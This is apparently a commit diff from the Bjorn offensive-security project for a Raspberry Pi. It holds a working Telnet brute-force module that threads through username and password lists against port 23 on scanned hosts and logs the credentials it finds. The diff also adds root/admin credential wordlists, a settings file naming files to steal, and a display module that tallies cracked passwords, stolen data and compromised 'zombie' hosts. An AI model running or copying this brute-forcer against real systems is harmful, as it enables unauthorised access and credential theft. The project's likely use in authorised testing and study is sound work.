"""
Execute the brute-force attack.
"""
self.shared_data.bjornorch_status = "TelnetBruteforce"
success, results = self.bruteforce_telnet(ip, port)
return 'success' if success else 'failed'
class TelnetConnector:
"""
Class to handle Telnet connections and credential testing.
"""
def __init__(self, shared_data):
self.shared_data = shared_data
self.scan = pd.read_csv(shared_data.netkbfile)
if "Ports" not in self.scan.columns:
self.scan["Ports"] = None
self.scan = self.scan[self.scan["Ports"].str.contains("23", na=False)]
self.users = open(shared_data.usersfile, "r").read().splitlines()
self.passwords = open(shared_data.passwordsfile, "r").read().splitlines()
self.lock = threading.Lock()
self.telnetfile = shared_data.telnetfile
# If the file does not exist, it will be created
if not os.path.exists(self.telnetfile):
logger.info(f"File {self.telnetfile} does not exist. Creating...")
with open(self.telnetfile, "w") as f:
f.write("MAC Address,IP Address,Hostname,User,Password,Port\n")
self.results = [] # List to store results temporarily
self.queue = Queue()
self.console = Console()
def load_scan_file(self):
"""
Load the netkb file and filter it for Telnet ports.
"""
self.scan = pd.read_csv(self.shared_data.netkbfile)
if "Ports" not in self.scan.columns:
self.scan["Ports"] = None
self.scan = self.scan[self.scan["Ports"].str.contains("23", na=False)]
def telnet_connect(self, adresse_ip, user, password):
"""
Establish a Telnet connection and try to log in with the provided credentials.
"""
try:
tn = telnetlib.Telnet(adresse_ip)
tn.read_until(b"login: ", timeout=5)
tn.write(user.encode('ascii') + b"\n")
if password:
tn.read_until(b"Password: ", timeout=5)
tn.write(password.encode('ascii') + b"\n")
# Wait to see if the login was successful
time.sleep(2)
response = tn.expect([b"Login incorrect", b"Password: ", b"$ ", b"# "], timeout=5)
tn.close()
# Check if the login was successful
if response[0] == 2 or response[0] == 3:
return True
except Exception as e:
pass
return False
def worker(self, progress, task_id, success_flag):
"""
Worker thread to process items in the queue.
"""
while not self.queue.empty():
if self.shared_data.orchestrator_should_exit:
logger.info("Orchestrator exit signal received, stopping worker thread.")
break
adresse_ip, user, password, mac_address, hostname, port = self.queue.get()
if self.telnet_connect(adresse_ip, user, password):
with self.lock:
self.results.append([mac_address, adresse_ip, hostname, user, password, port])
logger.success(f"Found credentials IP: {adresse_ip} | User: {user} | Password: {password}")
self.save_results()
self.removeduplicates()
success_flag[0] = True
self.queue.task_done()
progress.update(task_id, advance=1)
def run_bruteforce(self, adresse_ip, port):
self.load_scan_file() # Reload the scan file to get the latest IPs and ports
mac_address = self.scan.loc[self.scan['IPs'] == adresse_ip, 'MAC Address'].values[0]
hostname = self.scan.loc[self.scan['IPs'] == adresse_ip, 'Hostnames'].values[0]
total_tasks = len(self.users) * len(self.passwords)
for user in self.users:
for password in self.passwords:
if self.shared_data.orchestrator_should_exit:
logger.info("Orchestrator exit signal received, stopping bruteforce task addition.")
return False, []
self.queue.put((adresse_ip, user, password, mac_address, hostname, port))
success_flag = [False]
threads = []
with Progress(SpinnerColumn(), TextColumn("[progress.description]{task.description}"), BarColumn(), TextColumn("[progress.percentage]{task.percentage:>3.0f}%")) as progress:
task_id = progress.add_task("[cyan]Bruteforcing Telnet...", total=total_tasks)
for _ in range(40): # Adjust the number of threads based on the RPi Zero's capabilities
t = threading.Thread(target=self.worker, args=(progress, task_id, success_flag))
t.start()
threads.append(t)
while not self.queue.empty():
if self.shared_data.orchestrator_should_exit:
logger.info("Orchestrator exit signal received, stopping bruteforce.")
while not self.queue.empty():
self.queue.get()
self.queue.task_done()
break
self.queue.join()
for t in threads:
t.join()
return success_flag[0], self.results # Return True and the list of successes if at least one attempt was successful
def save_results(self):
"""
Save the results of successful login attempts to a CSV file.
"""
df = pd.DataFrame(self.results, columns=['MAC Address', 'IP Address', 'Hostname', 'User', 'Password', 'Port'])
df.to_csv(self.telnetfile, index=False, mode='a', header=not os.path.exists(self.telnetfile))
self.results = [] # Reset temporary results after saving
def removeduplicates(self):
"""
Remove duplicate entries from the results file.
"""
df = pd.read_csv(self.telnetfile)
df.drop_duplicates(inplace=True)
df.to_csv(self.telnetfile, index=False)
if __name__ == "__main__":
shared_data = SharedData()
try:
telnet_bruteforce = TelnetBruteforce(shared_data)
logger.info("Starting Telnet brute-force attack on port 23...")
# Load the netkb file and get the IPs to scan
ips_to_scan = shared_data.read_data()
# Execute the brute-force attack on each IP
for row in ips_to_scan:
ip = row["IPs"]
logger.info(f"Executing TelnetBruteforce on {ip}...")
telnet_bruteforce.execute(ip, b_port, row, b_status)
logger.info(f"Total number of successes: {len(telnet_bruteforce.telnet_connector.results)}")
exit(len(telnet_bruteforce.telnet_connector.results))
except Exception as e:
logger.error(f"Error: {e}")
BIN
View File
Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.4 MiB

View File
View File
+71
View File
@@ -0,0 +1,71 @@
# comment.py
# This module defines the `Commentaireia` class, which provides context-based random comments.
# The comments are based on various themes such as "IDLE", "SCANNER", and others, to simulate
# different states or actions within a network scanning and security context. The class uses a
# shared data object to determine delays between comments and switches themes based on the current
# state. The `get_commentaire` method returns a random comment from the specified theme, ensuring
# comments are not repeated too frequently.
import random
import time
import logging
import json
from init_shared import shared_data
from logger import Logger
import os
logger = Logger(name="comment.py", level=logging.DEBUG)
class Commentaireia:
"""Provides context-based random comments for bjorn."""
def __init__(self):
self.shared_data = shared_data
self.last_comment_time = 0 # Initialize last_comment_time
self.comment_delay = random.randint(self.shared_data.comment_delaymin, self.shared_data.comment_delaymax) # Initialize comment_delay
self.last_theme = None # Initialize last_theme
self.themes = self.load_comments(self.shared_data.commentsfile) # Load themes from JSON file
def load_comments(self, commentsfile):
"""Load comments from a JSON file."""
cache_file = commentsfile + '.cache'
# Check if a cached version exists and is newer than the original file
if os.path.exists(cache_file) and os.path.getmtime(cache_file) >= os.path.getmtime(commentsfile):
try:
with open(cache_file, 'r') as file:
comments_data = json.load(file)
logger.info("Comments loaded successfully from cache.")
return comments_data
except (FileNotFoundError, json.JSONDecodeError):
logger.warning("Cache file is corrupted or not found. Loading from the original file.")
# Load from the original file if cache is not used or corrupted
try:
with open(commentsfile, 'r') as file:
comments_data = json.load(file)
logger.info("Comments loaded successfully from JSON file.")
# Save to cache
with open(cache_file, 'w') as cache:
json.dump(comments_data, cache)
return comments_data
except FileNotFoundError:
logger.error(f"The file '{commentsfile}' was not found.")
return {"IDLE": ["Default comment, no comments file found."]} # Fallback to a default theme
except json.JSONDecodeError:
logger.error(f"The file '{commentsfile}' is not a valid JSON file.")
return {"IDLE": ["Default comment, invalid JSON format."]} # Fallback to a default theme
def get_commentaire(self, theme):
""" This method returns a random comment based on the specified theme."""
current_time = time.time() # Get the current time in seconds
if theme != self.last_theme or current_time - self.last_comment_time >= self.comment_delay: # Check if the theme has changed or if the delay has expired
self.last_comment_time = current_time # Update the last comment time
self.last_theme = theme # Update the last theme
if theme not in self.themes:
logger.warning(f"The theme '{theme}' is not defined, using the default theme IDLE.")
theme = "IDLE"
return random.choice(self.themes[theme]) # Return a random comment based on the specified theme
else:
return None
-118
View File
@@ -1,118 +0,0 @@
/**
* AcidWiki Configuration
* Customize your wiki by changing the values below.
*/
const CONFIG = {
// Project Information
projectName: "BJORN",
projectSubtitle: "BJORN WIKI",
description: "Official Documentation and Wiki for BJORN Cyber Viking",
// Versioning Settings
// type: "github" (automatic from API) or "local" (manual)
versioning: {
type: "github",
manualVersion: "v1.0.11",
manualDate: "2026-01-21"
},
// GitHub Repository (for version checking when type is "github")
// Format: "username/repo"
repo: "infinition/AcidWiki",
branch: "main",
// Theme Settings
themes: [
{ id: "dark", name: "Dark Mode", file: "wiki/themes/dark.css", isDark: true },
{ id: "dim", name: "Dim Mode", file: "wiki/themes/light.css", isDark: true },
{ id: "electric-blue", name: "Electric Blue", file: "wiki/themes/electric-blue.css", isDark: true },
{ id: "cyberpunk", name: "Cyberpunk", file: "wiki/themes/cyberpunk.css", isDark: true },
{ id: "forest", name: "Forest", file: "wiki/themes/forest.css", isDark: true },
{ id: "monochrome", name: "Monochrome", file: "wiki/themes/monochrome.css", isDark: true },
{ id: "retro-hackers", name: "Retro Hackers", file: "wiki/themes/retro-hackers.css", isDark: true },
{ id: "retro-hackers-w", name: "Retro Hackers White", file: "wiki/themes/retro-hackers-w.css", isDark: false },
{ id: "retro-acid-burn", name: "Retro Acid Burn", file: "wiki/themes/retro-acid-burn.css", isDark: true },
{ id: "paper", name: "Paper", file: "wiki/themes/paper.css", isDark: false },
{ id: "solarized-light", name: "Solarized Light", file: "wiki/themes/solarized-light.css", isDark: false },
{ id: "nord-light", name: "Nord Light", file: "wiki/themes/nord-light.css", isDark: false },
{ id: "paper-sepia", name: "Sepia Paper", file: "wiki/themes/paper-sepia.css", isDark: false },
{ id: "paper-cool", name: "Cool Paper", file: "wiki/themes/paper-cool.css", isDark: false },
{ id: "retro-irc", name: "Retro IRC", file: "wiki/themes/retro-irc.css", isDark: false },
{ id: "nature", name: "Nature", file: "wiki/themes/nature.css", isDark: false },
{ id: "glassmorphism", name: "Glassmorphism", file: "wiki/themes/glassmorphism.css", isDark: true }
],
defaultTheme: "dark",
// Feature Toggles
features: {
showChangelog: true,
showSearch: true,
showSocialBadges: true,
showThemeToggle: true,
pageTransitions: true,
autoCollapseSidebar: false,
stickyBreadcrumbs: true,
showRootReadme: true,
debug: true
},
// Custom Navigation Links
// Inserted at the top or bottom of the sidebar
links: {
top: [
{ name: "Main Site", url: "https://example.com", icon: "external-link" }
],
bottom: [
{ name: "Portfolio", url: "https://portfolio.example.com", icon: "briefcase" },
{ name: "Store", url: "https://store.example.com", icon: "shopping-cart" }
]
},
// Footer Customization
footerText: "© 2026 BJORN WIKI - All rights reserved",
// UI Strings (Custom labels for the interface)
ui: {
joinUsTitle: ":: JOIN US ::",
onThisPageTitle: "On this page",
changelogTitle: "Changelog",
rootReadmeTitle: "Project Home",
searchPlaceholder: "Search (Ctrl+K)...",
lastUpdatedText: "Updated",
readingTimePrefix: "~",
readingTimeSuffix: "min read",
noResultsText: "No results found.",
noSectionsText: "No sections",
fetchingReleasesText: "Fetching GitHub releases...",
checkingVersionText: "checking...",
initializingText: "Initializing...",
themeChangedText: "Theme changed to: ",
menuText: "Menu",
onThisPageMobile: "On this page"
},
// Logo Settings
logoPath: "wiki/assets/logo.png",
logoPlaceholder: "https://placehold.co/40x40/111214/22c55e?text=A",
// PWA & SEO Settings
themeColor: "#0B0C0E",
accentColor: "#22c55e",
manifestPath: "wiki/manifest.json",
// Social Links
// Set to null or empty string to hide the link
social: {
discord: "https://discord.gg/B3ZH9taVfT",
reddit: "https://www.reddit.com/r/Bjorn_CyberViking/",
github: "https://github.com/infinition/Bjorn",
buyMeACoffee: "https://buymeacoffee.com/infinition"
},
// Badge Labels (Optional customization for shields.io)
badges: {
discordLabel: "COMMUNITY",
redditLabel: "r/BJORN",
githubLabel: "BJORN WIKI"
}
};
View File
+107
View File
@@ -0,0 +1,107 @@
{
"__title_Bjorn__": "Settings",
"manual_mode": false,
"websrv": true,
"web_increment ": false,
"debug_mode": true,
"scan_vuln_running": false,
"retry_success_actions": false,
"retry_failed_actions": true,
"blacklistcheck": true,
"displaying_csv": true,
"log_debug": true,
"log_info": true,
"log_warning": true,
"log_error": true,
"log_critical": true,
"startup_delay": 10,
"web_delay": 2,
"screen_delay": 1,
"comment_delaymin": 15,
"comment_delaymax": 30,
"livestatus_delay": 8,
"image_display_delaymin": 2,
"image_display_delaymax": 8,
"scan_interval": 180,
"scan_vuln_interval": 900,
"failed_retry_delay": 600,
"success_retry_delay": 900,
"ref_width": 122,
"ref_height": 250,
"epd_type": "epd2in13_V4",
"__title_lists__": "List Settings",
"portlist": [
20,
21,
22,
23,
25,
53,
69,
80,
110,
111,
135,
137,
139,
143,
161,
162,
389,
443,
445,
512,
513,
514,
587,
636,
993,
995,
1080,
1433,
1521,
2049,
3306,
3389,
5000,
5001,
5432,
5900,
8080,
8443,
9090,
10000
],
"mac_scan_blacklist": [
"00:11:32:c4:71:9b",
"00:11:32:c4:71:9a"
],
"ip_scan_blacklist": [
"192.168.1.1",
"192.168.1.12",
"192.168.1.38",
"192.168.1.53",
"192.168.1.40",
"192.168.1.29"
],
"steal_file_names": [
"ssh.csv",
"hack.txt"
],
"steal_file_extensions": [
".bjorn",
".hack",
".flag"
],
"__title_network__": "Network",
"nmap_scan_aggressivity": "-T2",
"portstart": 1,
"portend": 2,
"__title_timewaits__": "Time Wait Settings",
"timewait_smb": 0,
"timewait_ssh": 0,
"timewait_telnet": 0,
"timewait_ftp": 0,
"timewait_sql": 0,
"timewait_rdp": 0
}
+3
View File
@@ -0,0 +1,3 @@
root
admin
bjorn
+3
View File
@@ -0,0 +1,3 @@
root
admin
bjorn
View File
View File
View File
View File
View File
View File
+391
View File
@@ -0,0 +1,391 @@
#display.py
# Description:
# This file, display.py, is responsible for managing the e-ink display of the Bjorn project, updating it with relevant data and statuses.
# It initializes the display, manages multiple threads for updating shared data and vulnerability counts, and handles the rendering of information
# and images on the display.
#
# Key functionalities include:
# - Initializing the e-ink display (EPD) and handling any errors during initialization.
# - Creating and managing threads to periodically update shared data and vulnerability counts.
# - Rendering various statistics, status icons, and images on the e-ink display.
# - Handling updates to shared data from various sources, including CSV files and system commands.
# - Checking and displaying the status of Bluetooth, Wi-Fi, PAN, and USB connections.
# - Providing methods to update the display with comments from an AI (Commentaireia) and generating images dynamically.
import threading
import time
import os
import pandas as pd
import signal
import glob
import logging
import random
import sys
from PIL import Image, ImageDraw
from init_shared import shared_data
from comment import Commentaireia
from logger import Logger
import subprocess
logger = Logger(name="display.py", level=logging.DEBUG)
class Display:
def __init__(self, shared_data):
"""Initialize the display and start the main image and shared data update threads."""
self.shared_data = shared_data
self.config = self.shared_data.config
self.shared_data.bjornstatustext2 = "Awakening..."
self.commentaire_ia = Commentaireia()
self.semaphore = threading.Semaphore(10)
self.screen_reversed = self.shared_data.screen_reversed
self.web_screen_reversed = self.shared_data.web_screen_reversed
# Define frise positions for different display types
self.frise_positions = {
"epd2in7": {
"x": 50,
"y": 160
},
"default": { # Default position for other display types
"x": 0,
"y": 160
}
}
try:
self.epd_helper = self.shared_data.epd_helper
self.epd_helper.init_partial_update()
logger.info("Display initialization complete.")
except Exception as e:
logger.error(f"Error during display initialization: {e}")
raise
self.main_image_thread = threading.Thread(target=self.update_main_image)
self.main_image_thread.daemon = True
self.main_image_thread.start()
self.update_shared_data_thread = threading.Thread(target=self.schedule_update_shared_data)
self.update_shared_data_thread.daemon = True
self.update_shared_data_thread.start()
self.update_vuln_count_thread = threading.Thread(target=self.schedule_update_vuln_count)
self.update_vuln_count_thread.daemon = True
self.update_vuln_count_thread.start()
self.scale_factor_x = self.shared_data.scale_factor_x
self.scale_factor_y = self.shared_data.scale_factor_y
def get_frise_position(self):
"""Get the frise position based on the display type."""
display_type = self.config.get("epd_type", "default")
position = self.frise_positions.get(display_type, self.frise_positions["default"])
return (
int(position["x"] * self.scale_factor_x),
int(position["y"] * self.scale_factor_y)
)
def schedule_update_shared_data(self):
"""Periodically update the shared data with the latest system information."""
while not self.shared_data.display_should_exit:
self.update_shared_data()
time.sleep(25)
def schedule_update_vuln_count(self):
"""Periodically update the vulnerability count on the display."""
while not self.shared_data.display_should_exit:
self.update_vuln_count()
time.sleep(300)
def update_main_image(self):
"""Update the main image on the display with the latest immagegen data."""
while not self.shared_data.display_should_exit:
try:
self.shared_data.update_image_randomizer()
if self.shared_data.imagegen:
self.main_image = self.shared_data.imagegen
else:
logger.error("No image generated for current status.")
time.sleep(random.uniform(self.shared_data.image_display_delaymin, self.shared_data.image_display_delaymax))
except Exception as e:
logger.error(f"An error occurred in update_main_image: {e}")
def get_open_files(self):
"""Get the number of open FD files on the system."""
try:
open_files = len(glob.glob('/proc/*/fd/*'))
logger.debug(f"FD : {open_files}")
return open_files
except Exception as e:
logger.error(f"Error getting open files: {e}")
return None
def update_vuln_count(self):
"""Update the vulnerability count on the display."""
with self.semaphore:
try:
if not os.path.exists(self.shared_data.vuln_summary_file):
df = pd.DataFrame(columns=["IP", "Hostname", "MAC Address", "Port", "Vulnerabilities"])
df.to_csv(self.shared_data.vuln_summary_file, index=False)
self.shared_data.vulnnbr = 0
logger.info("Vulnerability summary file created.")
else:
if os.path.exists(self.shared_data.netkbfile):
with open(self.shared_data.netkbfile, 'r') as file:
netkb_df = pd.read_csv(file)
alive_macs = set(netkb_df[(netkb_df["Alive"] == 1) & (netkb_df["MAC Address"] != "STANDALONE")]["MAC Address"])
else:
alive_macs = set()
with open(self.shared_data.vuln_summary_file, 'r') as file:
df = pd.read_csv(file)
all_vulnerabilities = set()
for index, row in df.iterrows():
mac_address = row["MAC Address"]
if mac_address in alive_macs and mac_address != "STANDALONE":
vulnerabilities = row["Vulnerabilities"]
if pd.isna(vulnerabilities) or not isinstance(vulnerabilities, str):
continue
if vulnerabilities and isinstance(vulnerabilities, str):
all_vulnerabilities.update(vulnerabilities.split("; "))
self.shared_data.vulnnbr = len(all_vulnerabilities)
logger.debug(f"Updated vulnerabilities count: {self.shared_data.vulnnbr}")
if os.path.exists(self.shared_data.livestatusfile):
with open(self.shared_data.livestatusfile, 'r+') as livestatus_file:
livestatus_df = pd.read_csv(livestatus_file)
livestatus_df.loc[0, 'Vulnerabilities Count'] = self.shared_data.vulnnbr
livestatus_df.to_csv(self.shared_data.livestatusfile, index=False)
logger.debug(f"Updated livestatusfile with vulnerability count: {self.shared_data.vulnnbr}")
else:
logger.error(f"Livestatusfile {self.shared_data.livestatusfile} does not exist.")
except Exception as e:
logger.error(f"An error occurred in update_vuln_count: {e}")
def update_shared_data(self):
"""Update the shared data with the latest system information."""
with self.semaphore:
try:
with open(self.shared_data.livestatusfile, 'r') as file:
livestatus_df = pd.read_csv(file)
self.shared_data.portnbr = livestatus_df['Total Open Ports'].iloc[0]
self.shared_data.targetnbr = livestatus_df['Alive Hosts Count'].iloc[0]
self.shared_data.networkkbnbr = livestatus_df['All Known Hosts Count'].iloc[0]
self.shared_data.vulnnbr = livestatus_df['Vulnerabilities Count'].iloc[0]
crackedpw_files = glob.glob(f"{self.shared_data.crackedpwddir}/*.csv")
total_passwords = 0
for file in crackedpw_files:
with open(file, 'r') as f:
total_passwords += len(pd.read_csv(f, usecols=[0]))
self.shared_data.crednbr = total_passwords
total_data = sum([len(files) for r, d, files in os.walk(self.shared_data.datastolendir)])
self.shared_data.datanbr = total_data
total_zombies = sum([len(files) for r, d, files in os.walk(self.shared_data.zombiesdir)])
self.shared_data.zombiesnbr = total_zombies
total_attacks = sum([len(files) for r, d, files in os.walk(self.shared_data.actions_dir) if not r.endswith("__pycache__")]) - 2
self.shared_data.attacksnbr = total_attacks
self.shared_data.update_stats()
self.shared_data.manual_mode = self.is_manual_mode()
if self.shared_data.manual_mode:
self.manual_mode_txt = "M"
else:
self.manual_mode_txt = "A"
self.shared_data.wifi_connected = self.is_wifi_connected()
self.shared_data.usb_active = self.is_usb_connected()
self.get_open_files()
except (FileNotFoundError, pd.errors.EmptyDataError) as e:
logger.error(f"Error: {e}")
except Exception as e:
logger.error(f"Error updating shared data: {e}")
def display_comment(self, status):
"""Display the comment based on the status of the BjornOrch."""
comment = self.commentaire_ia.get_commentaire(status)
if comment:
self.shared_data.bjornsay = comment
self.shared_data.bjornstatustext = self.shared_data.bjornorch_status
else:
pass
# # # def is_bluetooth_connected(self):
# # # """
# # # Check if any device is connected to the Bluetooth (pan0) interface by checking the output of 'ip neigh show dev pan0'.
# # # """
# # # try:
# # # result = subprocess.Popen(['ip', 'neigh', 'show', 'dev', 'pan0'], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
# # # output, error = result.communicate()
# # # if result.returncode != 0:
# # # logger.error(f"Error executing 'ip neigh show dev pan0': {error}")
# # # return False
# # # return bool(output.strip())
# # # except Exception as e:
# # # logger.error(f"Error checking Bluetooth connection status: {e}")
# # # return False
def is_wifi_connected(self):
"""Check if WiFi is connected by checking the current SSID."""
try:
result = subprocess.Popen(['iwgetid', '-r'], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
ssid, error = result.communicate()
if result.returncode != 0:
logger.error(f"Error executing 'iwgetid -r': {error}")
return False
return bool(ssid.strip())
except Exception as e:
logger.error(f"Error checking WiFi status: {e}")
return False
def is_manual_mode(self):
"""Check if the BjornOrch is in manual mode."""
return self.shared_data.manual_mode
def is_interface_connected(self, interface):
"""Check if any device is connected to the specified interface."""
try:
result = subprocess.Popen(['ip', 'neigh', 'show', 'dev', interface], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
output, error = result.communicate()
if result.returncode != 0:
logger.error(f"Error executing 'ip neigh show dev {interface}': {error}")
return False
return bool(output.strip())
except Exception as e:
logger.error(f"Error checking connection status on {interface}: {e}")
return False
def is_usb_connected(self):
"""Check if any device is connected to the USB interface."""
try:
result = subprocess.Popen(['ip', 'neigh', 'show', 'dev', 'usb0'], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
output, error = result.communicate()
if result.returncode != 0:
logger.error(f"Error executing 'ip neigh show dev usb0': {error}")
return False
return bool(output.strip())
except Exception as e:
logger.error(f"Error checking USB connection status: {e}")
return False
def run(self):
"""Main loop for updating the EPD display with shared data."""
self.manual_mode_txt = ""
while not self.shared_data.display_should_exit:
try:
self.epd_helper.init_partial_update()
self.display_comment(self.shared_data.bjornorch_status)
image = Image.new('1', (self.shared_data.width, self.shared_data.height))
draw = ImageDraw.Draw(image)
draw.rectangle((0, 0, self.shared_data.width, self.shared_data.height), fill=255)
draw.text((int(37 * self.scale_factor_x), int(5 * self.scale_factor_y)), "BJORN", font=self.shared_data.font_viking, fill=0)
draw.text((int(110 * self.scale_factor_x), int(170 * self.scale_factor_y)), self.manual_mode_txt, font=self.shared_data.font_arial14, fill=0)
if self.shared_data.wifi_connected:
image.paste(self.shared_data.wifi, (int(3 * self.scale_factor_x), int(3 * self.scale_factor_y)))
# # # if self.shared_data.bluetooth_active:
# # # image.paste(self.shared_data.bluetooth, (int(23 * self.scale_factor_x), int(4 * self.scale_factor_y)))
if self.shared_data.pan_connected:
image.paste(self.shared_data.connected, (int(104 * self.scale_factor_x), int(3 * self.scale_factor_y)))
if self.shared_data.usb_active:
image.paste(self.shared_data.usb, (int(90 * self.scale_factor_x), int(4 * self.scale_factor_y)))
stats = [
(self.shared_data.target, (int(8 * self.scale_factor_x), int(22 * self.scale_factor_y)), (int(28 * self.scale_factor_x), int(22 * self.scale_factor_y)), str(self.shared_data.targetnbr)),
(self.shared_data.port, (int(47 * self.scale_factor_x), int(22 * self.scale_factor_y)), (int(67 * self.scale_factor_x), int(22 * self.scale_factor_y)), str(self.shared_data.portnbr)),
(self.shared_data.vuln, (int(86 * self.scale_factor_x), int(22 * self.scale_factor_y)), (int(106 * self.scale_factor_x), int(22 * self.scale_factor_y)), str(self.shared_data.vulnnbr)),
(self.shared_data.cred, (int(8 * self.scale_factor_x), int(41 * self.scale_factor_y)), (int(28 * self.scale_factor_x), int(41 * self.scale_factor_y)), str(self.shared_data.crednbr)),
(self.shared_data.money, (int(3 * self.scale_factor_x), int(172 * self.scale_factor_y)), (int(3 * self.scale_factor_x), int(192 * self.scale_factor_y)), str(self.shared_data.coinnbr)),
(self.shared_data.level, (int(2 * self.scale_factor_x), int(217 * self.scale_factor_y)), (int(4 * self.scale_factor_x), int(237 * self.scale_factor_y)), str(self.shared_data.levelnbr)),
(self.shared_data.zombie, (int(47 * self.scale_factor_x), int(41 * self.scale_factor_y)), (int(67 * self.scale_factor_x), int(41 * self.scale_factor_y)), str(self.shared_data.zombiesnbr)),
(self.shared_data.networkkb, (int(102 * self.scale_factor_x), int(190 * self.scale_factor_y)), (int(102 * self.scale_factor_x), int(208 * self.scale_factor_y)), str(self.shared_data.networkkbnbr)),
(self.shared_data.data, (int(86 * self.scale_factor_x), int(41 * self.scale_factor_y)), (int(106 * self.scale_factor_x), int(41 * self.scale_factor_y)), str(self.shared_data.datanbr)),
(self.shared_data.attacks, (int(100 * self.scale_factor_x), int(218 * self.scale_factor_y)), (int(102 * self.scale_factor_x), int(237 * self.scale_factor_y)), str(self.shared_data.attacksnbr)),
]
for img, img_pos, text_pos, text in stats:
image.paste(img, img_pos)
draw.text(text_pos, text, font=self.shared_data.font_arial9, fill=0)
self.shared_data.update_bjornstatus()
image.paste(self.shared_data.bjornstatusimage, (int(3 * self.scale_factor_x), int(60 * self.scale_factor_y)))
draw.text((int(35 * self.scale_factor_x), int(65 * self.scale_factor_y)), self.shared_data.bjornstatustext, font=self.shared_data.font_arial9, fill=0)
draw.text((int(35 * self.scale_factor_x), int(75 * self.scale_factor_y)), self.shared_data.bjornstatustext2, font=self.shared_data.font_arial9, fill=0)
# Get frise position based on display type
frise_x, frise_y = self.get_frise_position()
image.paste(self.shared_data.frise, (frise_x, frise_y))
draw.rectangle((1, 1, self.shared_data.width - 1, self.shared_data.height - 1), outline=0)
draw.line((1, 20, self.shared_data.width - 1, 20), fill=0)
draw.line((1, 59, self.shared_data.width - 1, 59), fill=0)
draw.line((1, 87, self.shared_data.width - 1, 87), fill=0)
lines = self.shared_data.wrap_text(self.shared_data.bjornsay, self.shared_data.font_arialbold, self.shared_data.width - 4)
y_text = int(90 * self.scale_factor_y)
if self.main_image is not None:
image.paste(self.main_image, (self.shared_data.x_center1, self.shared_data.y_bottom1))
else:
logger.error("Main image not found in shared_data.")
for line in lines:
draw.text((int(4 * self.scale_factor_x), y_text), line, font=self.shared_data.font_arialbold, fill=0)
y_text += (self.shared_data.font_arialbold.getbbox(line)[3] - self.shared_data.font_arialbold.getbbox(line)[1]) + 3
if self.screen_reversed:
image = image.transpose(Image.ROTATE_180)
self.epd_helper.display_partial(image)
self.epd_helper.display_partial(image)
if self.web_screen_reversed:
image = image.transpose(Image.ROTATE_180)
with open(os.path.join(self.shared_data.webdir, "screen.png"), 'wb') as img_file:
image.save(img_file)
img_file.flush()
os.fsync(img_file.fileno())
time.sleep(self.shared_data.screen_delay)
except Exception as e:
logger.error(f"An error occurred: {e}")
def handle_exit_display(signum, frame, display_thread):
"""Handle the exit signal and close the display."""
global should_exit
shared_data.display_should_exit = True
logger.info("Exit signal received. Waiting for the main loop to finish...")
try:
if main_loop and main_loop.epd:
main_loop.epd.init(main_loop.epd.sleep)
main_loop.epd.Dev_exit()
except Exception as e:
logger.error(f"Error while closing the display: {e}")
display_thread.join()
logger.info("Main loop finished. Clean exit.")
sys.exit(0)
# Declare main_loop globally
main_loop = None
if __name__ == "__main__":
try:
logger.info("Starting main loop...")
main_loop = Display(shared_data)
display_thread = threading.Thread(target=main_loop.run)
display_thread.start()
logger.info("Main loop started.")
signal.signal(signal.SIGINT, lambda signum, frame: handle_exit_display(signum, frame, display_thread))
signal.signal(signal.SIGTERM, lambda signum, frame: handle_exit_display(signum, frame, display_thread))
except Exception as e:
logger.error(f"An exception occurred during program execution: {e}")
handle_exit_display(signal.SIGINT, None, display_thread)
sys.exit(1)
+68
View File
@@ -0,0 +1,68 @@
# epd_helper.py
import importlib
import logging
logger = logging.getLogger(__name__)
class EPDHelper:
def __init__(self, epd_type):
self.epd_type = epd_type
self.epd = self._load_epd_module()
def _load_epd_module(self):
try:
epd_module_name = f'resources.waveshare_epd.{self.epd_type}'
epd_module = importlib.import_module(epd_module_name)
return epd_module.EPD()
except ImportError as e:
logger.error(f"EPD module {self.epd_type} not found: {e}")
raise
except Exception as e:
logger.error(f"Error loading EPD module {self.epd_type}: {e}")
raise
def init_full_update(self):
try:
if hasattr(self.epd, 'FULL_UPDATE'):
self.epd.init(self.epd.FULL_UPDATE)
elif hasattr(self.epd, 'lut_full_update'):
self.epd.init(self.epd.lut_full_update)
else:
self.epd.init()
logger.info("EPD full update initialization complete.")
except Exception as e:
logger.error(f"Error initializing EPD for full update: {e}")
raise
def init_partial_update(self):
try:
if hasattr(self.epd, 'PART_UPDATE'):
self.epd.init(self.epd.PART_UPDATE)
elif hasattr(self.epd, 'lut_partial_update'):
self.epd.init(self.epd.lut_partial_update)
else:
self.epd.init()
logger.info("EPD partial update initialization complete.")
except Exception as e:
logger.error(f"Error initializing EPD for partial update: {e}")
raise
def display_partial(self, image):
try:
if hasattr(self.epd, 'displayPartial'):
self.epd.displayPartial(self.epd.getbuffer(image))
else:
self.epd.display(self.epd.getbuffer(image))
logger.info("Partial display update complete.")
except Exception as e:
logger.error(f"Error during partial display update: {e}")
raise
def clear(self):
try:
self.epd.Clear()
logger.info("EPD cleared.")
except Exception as e:
logger.error(f"Error clearing EPD: {e}")
raise
-2458
View File
File diff suppressed because it is too large Load Diff
+13
View File
@@ -0,0 +1,13 @@
#init_shared.py
# Description:
# This file, init_shared.py, is responsible for initializing and providing access to shared data across different modules in the Bjorn project.
#
# Key functionalities include:
# - Importing the `SharedData` class from the `shared` module.
# - Creating an instance of `SharedData` named `shared_data` that holds common configuration, paths, and other resources.
# - Ensuring that all modules importing `shared_data` will have access to the same instance, promoting consistency and ease of data management throughout the project.
from shared import SharedData
shared_data = SharedData()
+636
View File
@@ -0,0 +1,636 @@
#!/bin/bash
# BJORN Installation Script
# This script handles the complete installation of BJORN
# Author: infinition
# Version: 1.0 - 071124 - 0954
# Colors for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m'
# Logging configuration
LOG_DIR="/var/log/bjorn_install"
mkdir -p "$LOG_DIR"
LOG_FILE="$LOG_DIR/bjorn_install_$(date +%Y%m%d_%H%M%S).log"
VERBOSE=false
# Global variables
BJORN_USER="bjorn"
BJORN_PATH="/home/${BJORN_USER}/Bjorn"
CURRENT_STEP=0
TOTAL_STEPS=8
if [[ "$1" == "--help" ]]; then
echo "Usage: sudo ./install_bjorn.sh"
echo "Make sure you have the necessary permissions and that all dependencies are met."
exit 0
fi
# Function to display progress
show_progress() {
